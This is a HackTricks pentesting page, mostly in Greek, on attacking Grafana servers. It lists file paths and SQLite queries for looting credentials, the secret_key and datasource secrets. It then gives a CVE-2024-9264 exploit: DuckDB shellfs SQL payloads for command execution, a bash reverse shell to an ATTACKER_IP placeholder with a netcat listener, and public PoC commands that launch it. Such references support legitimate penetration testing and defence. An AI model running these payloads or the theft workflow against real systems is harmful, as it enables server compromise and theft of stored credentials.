Grafana
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Ενδιαφέροντα
- Το κύριο config βρίσκεται συνήθως στο
/etc/grafana/grafana.ini(Deb/RPM) και μπορεί να περιέχει ευαίσθητες τιμές όπωςadmin_user,admin_password,secret_key, ρυθμίσεις OAuth, SMTP creds, και renderer tokens. - Από προεπιλογή το Grafana αποθηκεύει δεδομένα σε SQLite3 στο
/var/lib/grafana/grafana.db. - Τα provisioning αρχεία είναι πολύ χρήσιμα μετά το host access:
/etc/grafana/provisioning/datasources/*.yaml/etc/grafana/provisioning/plugins/*.yaml- Η επέκταση μεταβλητών περιβάλλοντος υποστηρίζεται στα provisioning αρχεία, οπότε leaked YAML συχνά αποκαλύπτει τόσο secrets όσο και τα ονόματα των env vars που τα υποστηρίζουν.
- Τα εγκατεστημένα plugins συνήθως βρίσκονται στο
/var/lib/grafana/plugins. - Μέσα στην πλατφόρμα μπορείς να invite people, generate API keys / service account tokens, list plugins, ή install new plugins ανάλογα με το role.
- Ο browser είναι επίσης loot: το Grafana εκθέτει non-secret datasource config στο frontend. Αν έχεις μια Viewer session (ή είναι ενεργοποιημένο το anonymous access), έλεγξε το
window.grafanaBootDataαπό DevTools.
Useful SQLite checks:
.tables
.schema data_source
SELECT id,org_id,name,type,url,access,is_default,json_data FROM data_source;
SELECT id,org_id,uid,login,email,is_admin FROM user;
SELECT id,org_id,uid,name,slug FROM dashboard;
Looting datasources and secrets
Grafana χωρίζει τη διαμόρφωση αναγνώσιμη από το πρόγραμμα περιήγησης από τα κρυπτογραφημένα secrets:
jsonDataείναι ορατό στους χρήστες στο πρόγραμμα περιήγησης και συνήθως αρκεί για να εντοπίσει internal hosts, tenants, auth modes, header names, AWS regions, Elasticsearch indexes, Loki tenants, Prometheus URLs, και παρόμοια recon data.secureJsonDataκρυπτογραφείται στον server και δεν είναι πλέον αναγνώσιμο από το πρόγραμμα περιήγησης μετά την αποθήκευση του datasource.
Post-exploitation workflow:
- Dump
grafana.iniand recoversecret_key. - Loot
grafana.dband provisioning files. - Enumerate datasources and plugin configuration to find reusable credentials and internal endpoints.
- If migrating or replaying the database in another Grafana instance, keep the same
secret_keyor stored datasource passwords/tokens will not decrypt correctly.
Why secret_key matters in newer versions:
- Since Grafana v9, database secrets use envelope encryption.
- Grafana encrypts secrets with data encryption keys (DEKs), and those DEKs are encrypted with a key encryption key (KEK) derived from
secret_key. - From an attacker perspective,
grafana.db+secret_keyis the pair worth stealing.
Plugin attack surface
Θεωρήστε τα plugins ως μέρος του στόχου, όχι μια υποσημείωση:
- Enumerate them from the filesystem, from the UI, or from the API:
curl -s http://grafana.target/api/plugins | jq '.[].id'
- Παλαιότερα ή τρίτων plugins συχνά επεκτείνουν την πρόσβαση του Grafana σε εσωτερικά δίκτυα επειδή κάνουν proxy HTTP requests ή αλληλεπιδρούν με τοπικά αρχεία/βάσεις δεδομένων.
- Πρόσφατα παραδείγματα περιλαμβάνουν SSRF στο Infinity plugin (
< 3.4.1) και μονοπάτια κατάχρησης όπου το Image Renderer plugin μετατρέπει άλλο bug σε full-read SSRF.
CVE-2024-9264 – SQL Expressions (DuckDB shellfs) post-auth RCE / LFI
Η πειραματική δυνατότητα SQL Expressions του Grafana μπορεί να αξιολογήσει DuckDB queries που ενσωματώνουν κείμενο ελεγχόμενο από τον χρήστη. Η ανεπαρκής απολύμανση επιτρέπει σε επιτιθέμενους να αλυσιδωτούν δηλώσεις DuckDB και να φορτώνουν την community extension shellfs, η οποία εκθέτει εντολές shell μέσω pipe-backed virtual files.
Impact
- Οποιοσδήποτε authenticated χρήστης με VIEWER ή ανώτερο επίπεδο μπορεί να αποκτήσει code execution ως ο Grafana OS user (συχνά grafana· κάποιες φορές root μέσα σε container) ή να εκτελέσει τοπική ανάγνωση αρχείων.
- Συνήθεις προϋποθέσεις που ικανοποιούνται σε πραγματικές εγκαταστάσεις:
- SQL Expressions enabled:
expressions.enabled = true duckdbbinary present in PATH on the server
Quick checks
- In the UI/API, browse Admin settings (Swagger:
/swagger-ui, endpoint/api/admin/settings) to confirm: expressions.enabledis true- Optional: version, datasource types, and general hardening settings
- Shell on host:
which duckdbmust resolve for the exploit path below.
Manual query pattern using DuckDB + shellfs
- Abuse flow (2 queries):
- Install and load the shellfs extension, run a command, redirect combined output to a temp file via pipe
- Read back the temp file using
read_blob
Example SQL Expressions payloads that get passed to DuckDB:
-- 1) Prepare shellfs and run command
SELECT 1; INSTALL shellfs FROM community; LOAD shellfs;
SELECT * FROM read_csv('CMD >/tmp/grafana_cmd_output 2>&1 |');
-- 2) Read the output back
SELECT content FROM read_blob('/tmp/grafana_cmd_output');
Αντικαταστήστε το CMD με την επιθυμητή εντολή σας. Για file-read (LFI) μπορείτε αντίθετα να χρησιμοποιήσετε τις DuckDB file functions για να διαβάσετε τοπικά αρχεία.
Παράδειγμα one-liner reverse shell
bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"
Ενσωματώστε αυτό ως CMD στο πρώτο query ενώ έχετε listener: nc -lnvp 443.
Αυτοματοποιημένο PoC
- Public PoC (χτισμένο πάνω στο cfreal’s ten framework):
- https://github.com/nollium/CVE-2024-9264
Παράδειγμα χρήσης
# Confirm execution context and UID
python3 CVE-2024-9264.py -u <USER> -p <PASS> -c id http://grafana.target
# Launch a reverse shell
python3 CVE-2024-9264.py -u <USER> -p <PASS> \
-c 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1"' \
http://grafana.target
Αν η έξοδος δείχνει uid=0(root), το Grafana τρέχει ως root (συνηθισμένο μέσα σε μερικά containers).
2025 client-side traversal / open redirect chain
Το 2025 Grafana client-side traversal και open-redirect chain έχουν ήδη τεκμηριωθεί σε πιο γενικές client-side σελίδες. Χρησιμοποιήστε αυτές τις τεχνικές εναντίον Grafana-specific paths όπως plugin assets, dashboard script loaders, και token-rotation redirects:
Αναφορές
- Grafana Advisory – CVE-2024-9264 (SQL Expressions RCE/LFI)
- Grafana docs – Add authentication for data source plugins (
jsonData,secureJsonData,window.grafanaBootData) - Grafana docs – Configure database encryption
- Grafana docs – Provision Grafana
- Cycode – One Plugin Away: Breaking Into Grafana from the Inside
- DuckDB shellfs community extension
- nollium/CVE-2024-9264 PoC
- cfreal/ten framework
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.


